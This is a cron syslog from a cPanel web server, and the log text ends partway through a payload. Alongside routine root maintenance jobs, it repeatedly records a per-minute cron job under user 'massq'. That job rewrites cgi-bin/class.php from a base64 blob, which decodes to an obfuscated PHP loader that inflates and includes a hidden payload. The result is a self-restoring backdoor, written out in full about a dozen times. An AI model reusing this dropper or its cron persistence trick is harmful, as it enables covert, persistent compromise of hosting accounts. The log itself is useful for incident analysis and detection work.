Sep  1 10:24:01 server CROND[26684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:24:01 server CROND[26683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:25:01 server CROND[27075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:25:01 server CROND[27077]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:25:01 server CROND[27081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:25:01 server CROND[27086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:25:01 server CROND[27089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:25:01 server CROND[27085]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 10:25:01 server CROND[27090]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:25:01 server CROND[27091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:26:01 server CROND[28486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:26:01 server CROND[28487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:26:01 server CROND[28488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:27:01 server CROND[28864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:27:01 server CROND[28866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:27:01 server CROND[28865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:27:01 server CROND[28867]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:28:01 server CROND[29244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:28:01 server CROND[29245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:28:01 server CROND[29246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:29:01 server CROND[29613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:29:01 server CROND[29614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:29:01 server CROND[29615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:30:01 server CROND[30087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:30:01 server CROND[30092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:30:01 server CROND[30091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:30:01 server CROND[30094]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:30:01 server CROND[30093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:30:01 server CROND[30098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:30:01 server CROND[30099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:30:01 server CROND[30096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:31:01 server CROND[30928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:31:01 server CROND[30929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:31:01 server CROND[30930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:32:01 server CROND[31295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:32:01 server CROND[31296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:32:01 server CROND[31297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:33:01 server CROND[31670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:33:01 server CROND[31671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:33:01 server CROND[31672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:34:01 server CROND[32052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:34:01 server CROND[32053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:34:01 server CROND[32054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:35:01 server CROND[32538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:35:01 server CROND[32540]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 10:35:01 server CROND[32544]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:35:01 server CROND[32546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:35:01 server CROND[32542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:35:01 server CROND[32545]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:35:01 server CROND[32541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:35:01 server CROND[32547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:35:01 server CROND[32543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1